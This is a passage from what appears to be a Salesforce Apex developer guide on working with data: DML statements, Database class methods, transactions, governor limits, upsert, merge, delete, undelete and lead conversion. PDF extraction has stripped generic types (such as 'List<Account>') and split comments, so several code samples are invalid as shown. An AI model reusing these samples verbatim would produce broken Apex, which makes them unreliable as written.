Contact sal = new Contact(FirstName = 'Sal', Account = convertedAccount);
The following example shows how you can use SOSL over a set of records to determine their object types. Once you have converted
the generic sObject record into a Contact, Lead, or Account, you can modify its fields accordingly:
public class convertToCLA {
List contacts;
List leads;
List accounts;
public void convertType(Integer phoneNumber) {
List> results = [FIND '4155557000'
IN Phone FIELDS
RETURNING Contact(Id, Phone, FirstName, LastName),
Lead(Id, Phone, FirstName, LastName), Account(Id, Phone, Name)];
sObject[] records = ((List)results[0]);
113
Working with Data in Apex
Validating sObjects and Fields
if (!records.isEmpty()) {
for (Integer i = 0; i < records.size(); i++) {
sObject record = records[i];
if (record.getSObjectType() == Contact.sObjectType) {
contacts.add((Contact) record);
} else if (record.getSObjectType() == Lead.sObjectType){
leads.add((Lead) record);
} else if (record.getSObjectType() == Account.sObjectType) {
accounts.add((Account) record);
}
}
}
}
}
Validating sObjects and Fields
When Apex code is parsed and validated, all sObject and field references are validated against actual object and field names, and a
parse-time exception is thrown when an invalid name is used.
In addition, the Apex parser tracks the custom objects and fields that are used, both in the code's syntax as well as in embedded SOQL
and SOSL statements. The platform prevents users from making the following types of modifications when those changes cause Apex
code to become invalid:
• Changing a field or object name
• Converting from one data type to another
• Deleting a field or object
• Making certain organization-wide changes, such as record sharing, field history tracking, or record types
Adding and Retrieving Data
Apex is tightly integrated with the Force.com platform persistence layer. Records in the database can be inserted and manipulated
through Apex directly using simple statements. The language in Apex that allows you to add and manage records in the database is the
Data Manipulation Language (DML). In contrast to the SOQL language, which is used for read operations—querying records, DML is
used for write operations.
Before inserting or manipulating records, record data is created in memory as sObjects. The sObject data type is a generic data type and
corresponds to the data type of the variable that will hold the record data. There are specific data types, subtyped from the sObject data
type, which correspond to data types of standard object records, such as Account or Contact, and custom objects, such as
Invoice_Statement__c. Typically, you will work with these specific sObject data types. But sometimes, when you don’t know the type
of the sObject in advance, you can work with the generic sObject data type. This is an example of how you can create a new specific
Account sObject and assign it to a variable.
Account a = new Account(Name='Account Example');
114
Working with Data in Apex
DML
In the previous example, the account referenced by the variable a exists in memory with the required Name field. However, it is not
persisted yet to the Force.com platform persistence layer. You need to call DML statements to persist sObjects to the database. Here is
an example of creating and persisting this account using the insert statement.
Account a = new Account(Name='Account Example');
insert a;
Also, you can use DML to modify records that have already been inserted. Among the operations you can perform are record updates,
deletions, restoring records from the Recycle Bin, merging records, or converting leads. After querying for records, you get sObject
instances that you can modify and then persist the changes of. This is an example of querying for an existing record that has been
previously persisted, updating a couple of fields on the sObject representation of this record in memory, and then persisting this change
to the database.
// Query existing account.
Account a = [SELECT Name,Industry
FROM Account
WHERE Name='Account Example' LIMIT 1];
// Write the old values the debug log before updating them.
System.debug('Account Name before update: ' + a.Name); // Name is Account Example
System.debug('Account Industry before update: ' + a.Industry);// Industry is not set
// Modify the two fields on the sObject.
a.Name = 'Account of the Day';
a.Industry = 'Technology';
// Persist the changes.
update a;
// Get a new copy of the account from the database with the two fields.
Account a = [SELECT Name,Industry
FROM Account
WHERE Name='Account of the Day' LIMIT 1];
// Verify that updated field values were persisted.
System.assertEquals('Account of the Day', a.Name);
System.assertEquals('Technology', a.Industry);
DML
DML Statements vs. Database Class Methods
Apex offers two ways to perform DML operations: using DML statements or Database class methods. This provides flexibility in how you
perform data operations. DML statements are more straightforward to use and result in exceptions that you can handle in your code.
This is an example of a DML statement to insert a new record.
// Create the list of sObjects to insert
List acctList = new List();
acctList.add(new Account(Name='Acme1'));
acctList.add(new Account(Name='Acme2'));
115
Working with Data in Apex
DML Statements vs. Database Class Methods
// DML statement
insert acctList;
This is an equivalent example to the previous one but it uses a method of the Database class instead of the DML verb.
// Create the list of sObjects to insert
List acctList = new List();
acctList.add(new Account(Name='Acme1'));
acctList.add(new Account(Name='Acme2'));
// DML statement
Database.SaveResult[] srList = Database.insert(acctList, false);
// Iterate through each returned result
for (Database.SaveResult sr : srList) {
if (sr.isSuccess()) {
// Operation was successful, so get the ID of the record that was processed
System.debug('Successfully inserted account. Account ID: ' + sr.getId());
}
else {
// Operation failed, so get all errors
for(Database.Error err : sr.getErrors()) {
System.debug('The following error has occurred.');
System.debug(err.getStatusCode() + ': ' + err.getMessage());
System.debug('Account fields that affected this error: ' + err.getFields());
}
}
}
One difference between the two options is that by using the Database class method, you can specify whether or not to allow for partial
record processing if errors are encountered. You can do so by passing an additional second Boolean parameter. If you specify false
for this parameter and if a record fails, the remainder of DML operations can still succeed. Also, instead of exceptions, a result object
array (or one result object if only one sObject was passed in) is returned containing the status of each operation and any errors encountered.
By default, this optional parameter is true, which means that if at least one sObject can’t be processed, all remaining sObjects won’t
and an exception will be thrown for the record that causes a failure.
The following helps you decide when you want to use DML statements or Database class methods.
• Use DML statements if you want any error that occurs during bulk DML processing to be thrown as an Apex exception that immediately
interrupts control flow (by using try. . .catch blocks). This behavior is similar to the way exceptions are handled in most
database procedural languages.
• Use Database class methods if you want to allow partial success of a bulk DML operation—if a record fails, the remainder of the DML
operation can still succeed. Your application can then inspect the rejected records and possibly retry the operation. When using this
form, you can write code that never throws DML exception errors. Instead, your code can use the appropriate results array to judge
success or failure. Note that Database methods also include a syntax that supports thrown exceptions, similar to DML statements.
Note: Most operations overlap between the two, except for a few.
• The convertLead operation is only available as a Database class method, not as a DML statement.
• The Database class also provides methods not available as DML statements, such as methods transaction control and rollback,
emptying the Recycle Bin, and methods related to SOQL queries.
116
Working with Data in Apex
DML Operations As Atomic Transactions
DML Operations As Atomic Transactions
DML operations execute within a transaction. All DML operations in a transaction either complete successfully, or if an error occurs in
one operation, the entire transaction is rolled back and no data is committed to the database. The boundary of a transaction can be a
trigger, a class method, an anonymous block of code, an Apex page, or a custom Web service method.
All operations that occur inside the transaction boundary represent a single unit of operations. This also applies to calls that are made
from the transaction boundary to external code, such as classes or triggers that get fired as a result of the code running in the transaction
boundary. For example, consider the following chain of operations: a custom Apex Web service method calls a method in a class that
performs some DML operations. In this case, all changes are committed to the database only after all operations in the transaction finish
executing and don’t cause any errors. If an error occurs in any of the intermediate steps, all database changes are rolled back and the
transaction isn’t committed.
How DML Works
Single vs. Bulk DML Operations
You can perform DML operations either on a single sObject, or in bulk on a list of sObjects. Performing bulk DML operations is the
recommended way because it helps avoid hitting governor limits, such as the DML limit of 150 statements per Apex transaction. This
limit is in place to ensure fair access to shared resources in the Force.com multitenant platform. Performing a DML operation on a list of
sObjects counts as one DML statement for all sObjects in the list, as opposed to one statement for each sObject.
This is an example of performing DML calls on single sObjects, which is not efficient.
The for loop iterates over contacts, and for each contact, it sets a new value for the Description__c field if the department field matches
a certain value. If the list contains more than 150 items, the 151st update call returns an exception that can’t be caught for exceeding
the DML statement limit of 150.
for(Contact badCon : conList) {
if (badCon.Department = 'Finance') {
badCon.Description__c = 'New description';
}
// Not a good practice since governor limits might be hit.
update badCon;
}
This is a modified version of the previous example that doesn’t hit the governor limit. It bulkifies DML operations by calling update
on a list of contacts. This counts as one DML statement, which is far below the limit of 150.
// List to hold the new contacts to update.
List updatedList = new List();
for(Contact con : conList) {
if (con.Department == 'Finance') {
con.Description = 'New description';
// Add updated contact sObject to the list.
updatedList.add(con);
}
}
// Call update on the list of contacts.
// This results in one DML call for the entire list.
update updatedList;
117
Working with Data in Apex
DML Operations
The other governor limit that affects DML operations is the total number of 10,000 rows that can be processed by DML operations in a
single transaction. All rows processed by all DML calls in the same transaction count incrementally toward this limit. For example, if you
insert 100 contacts and update 50 contacts in the same transaction, your total DML processed rows are 150 and you still have 9,850 rows
left (10,000 - 150).
System Context and Sharing Rules
Most DML operations execute in system context, ignoring the current user's permissions, field-level security, organization-wide defaults,
position in the role hierarchy, and sharing rules. For more information, see Enforcing Sharing Rules.
Note that if you execute DML operations within an anonymous block, they will execute using the current user’s object and field-level
permissions.
DML Operations
Inserting and Updating Records
Using DML, you can insert new records and commit them to the database. Similarly, you can update the field values of existing records.
This example shows how to insert three account records and update an existing account record. First, it creates three Account sObjects
and adds them to a list. It then performs a bulk insertion by inserting the list of accounts using one insert statement. Next, it queries
the second account record, updates the billing city, and calls the update statement to persist the change in the database.
Account[] accts = new List();
for(Integer i=0;i<3;i++) {
Account a = new Account(Name='Acme' + i,
BillingCity='San Francisco');
accts.add(a);
}
Account accountToUpdate;
try {
insert accts;
// Update account Acme2.
accountToUpdate =
[SELECT BillingCity FROM Account
WHERE Name='Acme2' AND BillingCity='San Francisco'
LIMIT 1];
// Update the billing city.
accountToUpdate.BillingCity = 'New York';
// Make the update call.
update accountToUpdate;
} catch(DmlException e) {
System.debug('An unexpected error has occurred: ' + e.getMessage());
}
// Verify that the billing city was updated to New York.
Account afterUpdate =
[SELECT BillingCity FROM Account WHERE Id=:accountToUpdate.Id];
System.assertEquals('New York', afterUpdate.BillingCity);
118
Working with Data in Apex
DML Operations
Inserting Related Records
You can insert records related to existing records if a relationship has already been defined between the two objects, such as a lookup
or master-detail relationship. A record is associated with a related record through a foreign key ID. You can only set this foreign key ID
on the master record. For example, if inserting a new contact, you can specify the contact's related account record by setting the value
of the AccountId field.
This example shows how to add a contact to an account (the related record) by setting the AccountId field on the contact. Contact
and Account are linked through a lookup relationship.
try {
Account acct = new Account(Name='SFDC Account');
insert acct;
//
//
//
ID
Once the account is inserted, the sObject will be
populated with an ID.
Get this ID.
acctID = acct.ID;
// Add a contact to this account.
Contact con = new Contact(
FirstName='Joe',
LastName='Smith',
Phone='415.555.1212',
AccountId=acctID);
insert con;
} catch(DmlException e) {
System.debug('An unexpected error has occurred: ' + e.getMessage());
}
Updating Related Records
Fields on related records can't be updated with the same call to the DML operation and require a separate DML call. For example, if
inserting a new contact, you can specify the contact's related account record by setting the value of the AccountId field. However,
you can't change the account's name without updating the account itself with a separate DML call. Similarly, when updating a contact,
if you also want to update the contact’s related account, you must make two DML calls. The following example updates a contact and
its related account using two update statements.
try {
// Query for the contact, which has been associated with an account.
Contact queriedContact = [SELECT Account.Name
FROM Contact
WHERE FirstName = 'Joe' AND LastName='Smith'
LIMIT 1];
// Update the contact's phone number
queriedContact.Phone = '415.555.1213';
// Update the related account industry
queriedContact.Account.Industry = 'Technology';
// Make two separate calls
// 1. This call is to update the contact's phone.
update queriedContact;
119
Working with Data in Apex
DML Operations
// 2. This call is to update the related account's Industry field.
update queriedContact.Account;
} catch(Exception e) {
System.debug('An unexpected error has occurred: ' + e.getMessage());
}
Relating Records by Using an External ID
Add related records by using a custom external ID field on the parent record. Associating records through the external ID field is an
alternative to using the record ID. You can add a related record to another record only if a relationship has been defined for the objects
involved, such as a master-detail or lookup relationship.
To relate a record to its parent record with an external ID, the parent object must have a custom field marked as External ID. Create the
parent sObject with an external ID value, and then set this record as a nested sObject on the record you want to link.
This example shows how to relate a new opportunity to an existing account. The account has an external ID field, named MyExtID,
of type text. Before the new opportunity is inserted, the Account record is added to this opportunity as a nested sObject through the
Opportunity.Account relationship field. The Account sObject contains only the external ID field.
Opportunity newOpportunity = new Opportunity(
Name='OpportunityWithAccountInsert',
StageName='Prospecting',
CloseDate=Date.today().addDays(7));
// Create the parent record reference.
// An account with this external ID value already exists.
// This sObject is used only for foreign key reference
// and doesn't contain any other fields.
Account accountReference = new Account(
MyExtID__c='SAP111111');
// Add the nested account sObject to the opportunity.
newOpportunity.Account = accountReference;
// Create the opportunity.
Database.SaveResult results = Database.insert(newOpportunity);
The previous sample performs an insert operation, but you can also relate sObjects through external ID fields when performing updates
or upserts. If the parent record doesn’t exist, you can create it with a separate DML statement or by using the same DML statement as
shown in Creating Parent and Child Records in a Single Statement Using Foreign Keys.
Creating Parent and Child Records in a Single Statement Using Foreign Keys
You can use external ID fields as foreign keys to create parent and child records of different sObject types in a single step instead of
creating the parent record first, querying its ID, and then creating the child record. To do this:
• Create the child sObject and populate its required fields, and optionally other fields.
• Create the parent reference sObject used only for setting the parent foreign key reference on the child sObject. This sObject has only
the external ID field defined and no other fields set.
• Set the foreign key field of the child sObject to the parent reference sObject you just created.
• Create another parent sObject to be passed to the insert statement. This sObject must have the required fields (and optionally
other fields) set in addition to the external ID field.
120
Working with Data in Apex
DML Operations
• Call insert by passing it an array of sObjects to create. The parent sObject must precede the child sObject in the array, that is,
the array index of the parent must be lower than the child’s index.
You can create related records that are up to 10 levels deep. Also, the related records created in a single call must have different sObject
types. For more information, see Creating Records for Different Object Types in the SOAP API Developer's Guide.
The following example shows how to create an opportunity with a parent account using the same insert statement. The example
creates an Opportunity sObject and populates some of its fields, then creates two Account objects. The first account is only for the foreign
key relationship, and the second is for the account creation and has the account fields set. Both accounts have the external ID field,
MyExtID__c, set. Next, the sample calls Database.insert by passing it an array of sObjects. The first element in the array is
the parent sObject and the second is the opportunity sObject. The Database.insert statement creates the opportunity with its
parent account in a single step. Finally, the sample checks the results and writes the IDs of the created records to the debug log, or the
first error if record creation fails. This sample requires an external ID text field on Account called MyExtID.
public class ParentChildSample {
public static void InsertParentChild() {
Date dt = Date.today();
dt = dt.addDays(7);
Opportunity newOpportunity = new Opportunity(
Name='OpportunityWithAccountInsert',
StageName='Prospecting',
CloseDate=dt);
// Create the parent reference.
// Used only for foreign key reference
// and doesn't contain any other fields.
Account accountReference = new Account(
MyExtID__c='SAP111111');
newOpportunity.Account = accountReference;
// Create the Account object to insert.
// Same as above but has Name field.
// Used for the insert.
Account parentAccount = new Account(
Name='Hallie',
MyExtID__c='SAP111111');
// Create the account and the opportunity.
Database.SaveResult[] results = Database.insert(new SObject[] {
parentAccount, newOpportunity });
// Check results.
for (Integer i = 0; i < results.size(); i++) {
if (results[i].isSuccess()) {
System.debug('Successfully created ID: '
+ results[i].getId());
} else {
System.debug('Error: could not create sobject '
+ 'for array element ' + i + '.');
System.debug('
The error reported was: '
+ results[i].getErrors()[0].getMessage() + '\n');
}
}
}
}
121
Working with Data in Apex
DML Operations
Upserting Records
Using the upsert operation, you can either insert or update an existing record in one call. To determine whether a record already
exists, the upsert statement or Database method uses the record’s ID as the key to match records, a custom external ID field, or a
standard field with the idLookup attribute set to true.
• If the key is not matched, then a new object record is created.
• If the key is matched once, then the existing object record is updated.
• If the key is matched multiple times, then an error is generated and the object record is neither inserted or updated.
Note: Custom field matching is case-insensitive only if the custom field has the Unique and Treat "ABC" and "abc" as duplicate
values (case insensitive) attributes selected as part of the field definition. If this is the case, “ABC123” is matched with “abc123.”
For more information, see Create Custom Fields.
Examples
The following example updates the city name for all existing accounts located in the city formerly known as Bombay, and also inserts a
new account located in San Francisco:
Account[] acctsList = [SELECT Id, Name, BillingCity
FROM Account WHERE BillingCity = 'Bombay'];
for (Account a : acctsList) {
a.BillingCity = 'Mumbai';
}
Account newAcct = new Account(Name = 'Acme', BillingCity = 'San Francisco');
acctsList.add(newAcct);
try {
upsert acctsList;
} catch (DmlException e) {
// Process exception here
}
Note: For more information on processing DmlExceptions, see Bulk DML Exception Handling on page 140.
This next example uses the Database.upsert method to upsert a collection of leads that are passed in. This example allows for
partial processing of records, that is, in case some records fail processing, the remaining records are still inserted or updated. It iterates
through the results and adds a new task to each record that was processed successfully. The task sObjects are saved in a list, which is
then bulk inserted. This example is followed by a test class that contains a test method for testing the example.
/* This class demonstrates and tests the use of the
* partial processing DML operations */
public class DmlSamples {
/* This method accepts a collection of lead records and
creates a task for the owner(s) of any leads that were
created as new, that is, not updated as a result of the upsert
operation */
public static List upsertLeads(List leads)
/* Perform the upsert. In this case the unique identifier for the
insert or update decision is the Salesforce record ID. If the
record ID is null the row will be inserted, otherwise an update
will be attempted. */
122
{
Working with Data in Apex
DML Operations
List uResults = Database.upsert(leads,false);
/* This is the list for new tasks that will be inserted when new
leads are created. */
List tasks = new List();
for(Database.upsertResult result:uResults) {
if (result.isSuccess() && result.isCreated())
tasks.add(new Task(Subject = 'Follow-up', WhoId = result.getId()));
}
/* If there are tasks to be inserted, insert them */
Database.insert(tasks);
return uResults;
}
}
@isTest
private class DmlSamplesTest {
public static testMethod void testUpsertLeads() {
/* We only need to test the insert side of upsert */
List leads = new List();
/* Create a set of leads for testing */
for(Integer i = 0;i < 100; i++) {
leads.add(new Lead(LastName = 'testLead', Company = 'testCompany'));
}
/* Switch to the runtime limit context */
Test.startTest();
/* Exercise the method */
List results = DmlSamples.upsertLeads(leads);
/* Switch back to the test context for limits */
Test.stopTest();
/* ID set for asserting the tasks were created as expected */
Set ids = new Set();
/* Iterate over the results, asserting success and adding the new ID
to the set for use in the comprehensive assertion phase below. */
for(Database.upsertResult result:results) {
System.assert(result.isSuccess());
ids.add(result.getId());
}
/* Assert that exactly one task exists for each lead that was inserted. */
for(Lead l:[SELECT Id, (SELECT Subject FROM Tasks) FROM Lead WHERE Id IN :ids]) {
System.assertEquals(1,l.tasks.size());
}
}
}
123
Working with Data in Apex
DML Operations
Use of upsert with an external ID can reduce the number of DML statements in your code, and help you to avoid hitting governor
limits (see Execution Governors and Limits). This next example uses upsert and an external ID field Line_Item_Id__c on the
Asset object to maintain a one-to-one relationship between an asset and an opportunity line item.
Note: Before running this sample, create a custom text field on the Asset object named Line_Item_Id__c and mark it as
an external ID. For information on custom fields, see the Salesforce online help.
public void upsertExample() {
Opportunity opp = [SELECT Id, Name, AccountId,
(SELECT Id, PricebookEntry.Product2Id, PricebookEntry.Name
FROM OpportunityLineItems)
FROM Opportunity
WHERE HasOpportunityLineItem = true
LIMIT 1];
Asset[] assets = new Asset[]{};
// Create an asset for each line item on the opportunity
for (OpportunityLineItem lineItem:opp.OpportunityLineItems) {
//This code populates the line item Id, AccountId, and Product2Id for each asset
Asset asset = new Asset(Name = lineItem.PricebookEntry.Name,
Line_Item_ID__c = lineItem.Id,
AccountId = opp.AccountId,
Product2Id = lineItem.PricebookEntry.Product2Id);
assets.add(asset);
}
try {
upsert assets Line_Item_ID__c;
//
//
//
//
This line upserts the assets list with
the Line_Item_Id__c field specified as the
Asset field that should be used for matching
the record that should be upserted.
} catch (DmlException e) {
System.debug(e.getMessage());
}
}
Merging Records
When you have duplicate lead, contact, or account records in the database, cleaning up your data and consolidating the records might
be a good idea. You can merge up to three records of the same sObject type. The merge operation merges up to three records into
one of the records, deletes the others, and reparents any related records.
Example
The following shows how to merge an existing Account record into a master account. The account to merge has a related contact, which
is moved to the master account record after the merge operation. Also, after merging, the merge record is deleted and only one record
remains in the database. This examples starts by creating a list of two accounts and inserts the list. Then it executes queries to get the
124
Working with Data in Apex
DML Operations
new account records from the database, and adds a contact to the account to be merged. Next, it merges the two accounts. Finally, it
verifies that the contact has been moved to the master account and the second account has been deleted.
// Insert new accounts
List ls = new List{
new Account(name='Acme Inc.'),
new Account(name='Acme')
};
insert ls;
// Queries to get the inserted accounts
Account masterAcct = [SELECT Id, Name FROM Account WHERE Name = 'Acme Inc.' LIMIT 1];
Account mergeAcct = [SELECT Id, Name FROM Account WHERE Name = 'Acme' LIMIT 1];
// Add a contact to the account to be merged
Contact c = new Contact(FirstName='Joe',LastName='Merged');
c.AccountId = mergeAcct.Id;
insert c;
try {
merge masterAcct mergeAcct;
} catch (DmlException e) {
// Process exception
System.debug('An unexpected error has occurred: ' + e.getMessage());
}
// Once the account is merged with the master account,
// the related contact should be moved to the master record.
masterAcct = [SELECT Id, Name, (SELECT FirstName,LastName From Contacts)
FROM Account WHERE Name = 'Acme Inc.' LIMIT 1];
System.assert(masterAcct.getSObjects('Contacts').size() > 0);
System.assertEquals('Joe', masterAcct.getSObjects('Contacts')[0].get('FirstName'));
System.assertEquals('Merged', masterAcct.getSObjects('Contacts')[0].get('LastName'));
// Verify that the merge record got deleted
Account[] result = [SELECT Id, Name FROM Account WHERE Id=:mergeAcct.Id];
System.assertEquals(0, result.size());
This second example is similar to the previous except that it uses the Database.merge method (instead of the merge statement).
The last argument of Database.merge is set to false to have any errors encountered in this operation returned in the merge
result instead of getting exceptions. The example merges two accounts into the master account and retrieves the returned results. The
example creates a master account and two duplicates, one of which has a child contact. It verifies that after the merge the contact is
moved to the master account.
// Create master account
Account master = new Account(Name='Account1');
insert master;
// Create duplicate accounts
Account[] duplicates = new Account[]{
// Duplicate account
new Account(Name='Account1, Inc.'),
// Second duplicate account
new Account(Name='Account 1')
};
125
Working with Data in Apex
DML Operations
insert duplicates;
// Create child contact and associate it with first account
Contact c = new Contact(firstname='Joe',lastname='Smith', accountId=duplicates[0].Id);
insert c;
// Get the account contact relation ID, which is created when a contact is created on
"Account1, Inc."
AccountContactRelation resultAcrel = [SELECT Id FROM AccountContactRelation WHERE
ContactId=:c.Id LIMIT 1];
// Merge accounts into master
Database.MergeResult[] results = Database.merge(master, duplicates, false);
for(Database.MergeResult res : results) {
if (res.isSuccess()) {
// Get the master ID from the result and validate it
System.debug('Master record ID: ' + res.getId());
System.assertEquals(master.Id, res.getId());
// Get the IDs of the merged records and display them
List mergedIds = res.getMergedRecordIds();
System.debug('IDs of merged records: ' + mergedIds);
// Get the ID of the reparented record and
// validate that this the contact ID.
System.debug('Reparented record ID: ' + res.getUpdatedRelatedIds());
// Make sure there are two IDs (contact ID and account contact relation ID); the order
isn't defined
System.assertEquals(2, res.getUpdatedRelatedIds().size() );
boolean flag1 = false;
boolean flag2 = false;
// Because the order of the IDs isn't defined, the ID can be at index 0 or 1 of the
array
if (resultAcrel.id == res.getUpdatedRelatedIds()[0] || resultAcrel.id ==
res.getUpdatedRelatedIds()[1] )
flag1 = true;
if (c.id == res.getUpdatedRelatedIds()[0] || c.id == res.getUpdatedRelatedIds()[1]
)
flag2 = true;
System.assertEquals(flag1, true);
System.assertEquals(flag2, true);
}
else {
for(Database.Error err : res.getErrors()) {
126
Working with Data in Apex
DML Operations
// Write each error to the debug output
System.debug(err.getMessage());
}
}
}
Merge Considerations
When merging sObject records, consider the following rules and guidelines:
• Only leads, contacts, and accounts can be merged. See sObjects That Don’t Support DML Operations on page 139.
• You can pass a master record and up to two additional sObject records to a single merge method.
• Using the Apex merge operation, field values on the master record always supersede the corresponding field values on the records
to be merged. To preserve a merged record field value, simply set this field value on the master sObject before performing the merge.
• External ID fields can’t be used with merge.
For more information on merging leads, contacts and accounts, see the Salesforce online help.
Deleting Records
After you persist records in the database, you can delete those records using the delete operation. Deleted records aren’t deleted
permanently from Force.com, but they are placed in the Recycle Bin for 15 days from where they can be restored. Restoring deleted
records is covered in a later section.
Example
The following example deletes all accounts that are named 'DotCom':
Account[] doomedAccts = [SELECT Id, Name FROM Account
WHERE Name = 'DotCom'];
try {
delete doomedAccts;
} catch (DmlException e) {
// Process exception here
}
Note: For more information on processing DmlExceptions, see Bulk DML Exception Handling on page 140.
Referential Integrity When Deleting and Restoring Records
The delete operation supports cascading deletions. If you delete a parent object, you delete its children automatically, as long as
each child record can be deleted.
For example, if you delete a case record, Apex automatically deletes any CaseComment, CaseHistory, and CaseSolution records associated
with that case. However, if a particular child record is not deletable or is currently being used, then the delete operation on the parent
case record fails.
The undelete operation restores the record associations for the following types of relationships:
• Parent accounts (as specified in the Parent Account field on an account)
• Parent cases (as specified in the Parent Case field on a case)
• Master solutions for translated solutions (as specified in the Master Solution field on a solution)
127
Working with Data in Apex
DML Operations
• Managers of contacts (as specified in the Reports To field on a contact)
• Products related to assets (as specified in the Product field on an asset)
• Opportunities related to quotes (as specified in the Opportunity field on a quote)
• All custom lookup relationships
• Relationship group members on accounts and relationship groups, with some exceptions
• Tags
• An article's categories, publication state, and assignments
Note: Salesforce only restores lookup relationships that have not been replaced. For example, if an asset is related to a different
product prior to the original product record being undeleted, that asset-product relationship is not restored.
Restoring Deleted Records
After you have deleted records, the records are placed in the Recycle Bin for 15 days, after which they are permanently deleted. While
the records are still in the Recycle Bin, you can restore them using the undelete operation. This is useful, for example, if you accidentally
deleted some records that you want to keep.
Example
The following example undeletes an account named 'Trump'. The ALL ROWS keyword queries all rows for both top level and aggregate
relationships, including deleted records and archived activities.
Account a = new Account(Name='Trump');
insert(a);
insert(new Contact(LastName='Carter',AccountId=a.Id));
delete a;
Account[] savedAccts = [SELECT Id, Name FROM Account WHERE Name = 'Trump' ALL ROWS];
try {
undelete savedAccts;
} catch (DmlException e) {
// Process exception here
}
Note: For more information on processing DmlExceptions, see Bulk DML Exception Handling on page 140.
Undelete Considerations
Note the following when using the undelete statement.
• You can undelete records that were deleted as the result of a merge, but the child objects will have been reparented, which cannot
be undone.
• Use the ALL ROWS parameters with a SOQL query to identify deleted records, including records deleted as a result of a merge.
• See Referential Integrity When Deleting and Restoring Records.
SEE ALSO:
Querying All Records with a SOQL Statement
128
Working with Data in Apex
DML Operations
Converting Leads
The convertLead DML operation converts a lead into an account and contact, as well as (optionally) an opportunity. convertLead
is available only as a method on the Database class; it is not available as a DML statement.
Converting leads involves the following basic steps:
1. Your application determines the IDs of any lead(s) to be converted.
2. Optionally, your application determines the IDs of any account(s) into which to merge the lead. Your application can use SOQL to
search for accounts that match the lead name, as in the following example:
SELECT Id, Name FROM Account WHERE Name='CompanyNameOfLeadBeingMerged'
3. Optionally, your application determines the IDs of the contact or contacts into which to merge the lead. The application can use
SOQL to search for contacts that match the lead contact name, as in the following example:
SELECT Id, Name FROM Contact WHERE FirstName='FirstName' AND LastName='LastName' AND
AccountId = '001...'
4. Optionally, the application determines whether opportunities should be created from the leads.
5. The application queries the LeadSource table to obtain all of the possible converted status options (SELECT ... FROM
LeadStatus WHERE IsConverted='1'), and then selects a value for the converted status.
6. The application calls convertLead.
7. The application iterates through the returned result or results and examines each LeadConvertResult object to determine whether
conversion succeeded for each lead.
8. Optionally, when converting leads owned by a queue, the owner must be specified. This is because accounts and contacts cannot
be owned by a queue. Even if you are specifying an existing account or contact, you must still specify an owner.
Example
This example shows how to use the Database.convertLead method to convert a lead. It inserts a new lead, creates a
LeadConvert object and sets its status to converted, then passes it to the Database.convertLead method. Finally, it verifies
that the conversion was successful.
Lead myLead = new Lead(LastName = 'Fry', Company='Fry And Sons');
insert myLead;
Database.LeadConvert lc = new database.LeadConvert();
lc.setLeadId(myLead.id);
LeadStatus convertStatus = [SELECT Id, MasterLabel FROM LeadStatus WHERE IsConverted=true
LIMIT 1];
lc.setConvertedStatus(convertStatus.MasterLabel);
Database.LeadConvertResult lcr = Database.convertLead(lc);
System.assert(lcr.isSuccess());
Convert Leads Considerations
• Field mappings: The system automatically maps standard lead fields to standard account, contact, and opportunity fields. For custom
lead fields, your Salesforce administrator can specify how they map to custom account, contact, and opportunity fields. For more
information about field mappings, see the Salesforce online help.
129
Working with Data in Apex
DML Exceptions and Error Handling
• Merged fields: If data is merged into existing account and contact objects, only empty fields in the target object are
overwritten—existing data (including IDs) are not overwritten. The only exception is if you specify setOverwriteLeadSource
on the LeadConvert object to true, in which case the LeadSource field in the target contact object is overwritten with the
contents of the LeadSource field in the source LeadConvert object.
• Record types: If the organization uses record types, the default record type of the new owner is assigned to records created during
lead conversion. The default record type of the user converting the lead determines the lead source values available during conversion.
If the desired lead source values are not available, add the values to the default record type of the user converting the lead. For more
information about record types, see the Salesforce online help.
• Picklist values: The system assigns the default picklist values for the account, contact, and opportunity when mapping any standard
lead picklist fields that are blank. If your organization uses record types, blank values are replaced with the default picklist values of
the new record owner.
• Automatic feed subscriptions: When you convert a lead into a new account, contact, and opportunity, the lead owner is unsubscribed
from the lead account. The lead owner, the owner of the generated records, and users that were subscribed to the lead aren’t
automatically subscribed to the generated records, unless they have automatic subscriptions enabled in their Chatter feed settings.
They must have automatic subscriptions enabled to see changes to the account, contact, and opportunity records in their news
feed. To subscribe to records they create, users must enable the Automatically follow records that I create
option in their personal settings. A user can subscribe to a record so that changes to the record display in the news feed on the user's
home page. This is a useful way to stay up-to-date with changes to records in Salesforce.
DML Exceptions and Error Handling
Exception Handling
DML statements return run-time exceptions if something went wrong in the database during the execution of the DML operations. You
can handle the exceptions in your code by wrapping your DML statements within try-catch blocks. The following example includes the
insert DML statement inside a try-catch block.
Account a = new Account(Name='Acme');
try {
insert a;
} catch(DmlException e) {
// Process exception here
}
Database Class Method Result Objects
Database class methods return the results of the data operation. These result objects contain useful information about the data operation
for each record, such as whether the operation was successful or not, and any error information. Each type of operation returns a specific
result object type, as outlined below.
Operation
Result Class
insert, update
SaveResult Class
upsert
UpsertResult Class
merge
MergeResult Class
delete
DeleteResult Class
130
Working with Data in Apex
More About DML
Operation
Result Class
undelete
UndeleteResult Class
convertLead
LeadConvertResult Class
emptyRecycleBin
EmptyRecycleBinResult Class
Returned Database Errors
While DML statements always return exceptions when an operation fails for one of the records being processed and the operation is
rolled back for all records, Database class methods can either do so or allow partial success for record processing. In the latter case of
partial processing, Database class methods don’t throw exceptions. Instead, they return a list of errors for any errors that occurred on
failed records.
The errors provide details about the failures and are contained in the result of the Database class method. For example, a SaveResult
object is returned for insert and update operations. Like all returned results, SaveResult contains a method called getErrors
that returns a list of Database.Error objects, representing the errors encountered, if any.
Example
This example shows how to get the errors returned by a Database.insert operation. It inserts two accounts, one of which doesn’t
have the required Name field, and sets the second parameter to false: Database.insert(accts, false);. This sets the
partial processing option. Next, the example checks if the call had any failures through if (!sr.isSuccess()) and then iterates
through the errors, writing error information to the debug log.
// Create two accounts, one of which is missing a required field
Account[] accts = new List{
new Account(Name='Account1'),
new Account()};
Database.SaveResult[] srList = Database.insert(accts, false);
// Iterate through each returned result
for (Database.SaveResult sr : srList) {
if (!sr.isSuccess()) {
// Operation failed, so get all errors
for(Database.Error err : sr.getErrors()) {
System.debug('The following error has occurred.');
System.debug(err.getStatusCode() + ': ' + err.getMessage());
System.debug('Fields that affected this error: ' + err.getFields());
}
}
}
More About DML
Setting DML Options
You can specify DML options for insert and update operations by setting the desired options in the Database.DMLOptions object.
You can set Database.DMLOptions for the operation by calling the setOptions method on the sObject, or by passing it as
a parameter to the Database.insert and Database.update methods.
131
Working with Data in Apex
More About DML
Using DML options, you can specify:
• The truncation behavior of fields.
• Assignment rule information.
• Duplicate rule information.
• Whether automatic emails are sent.
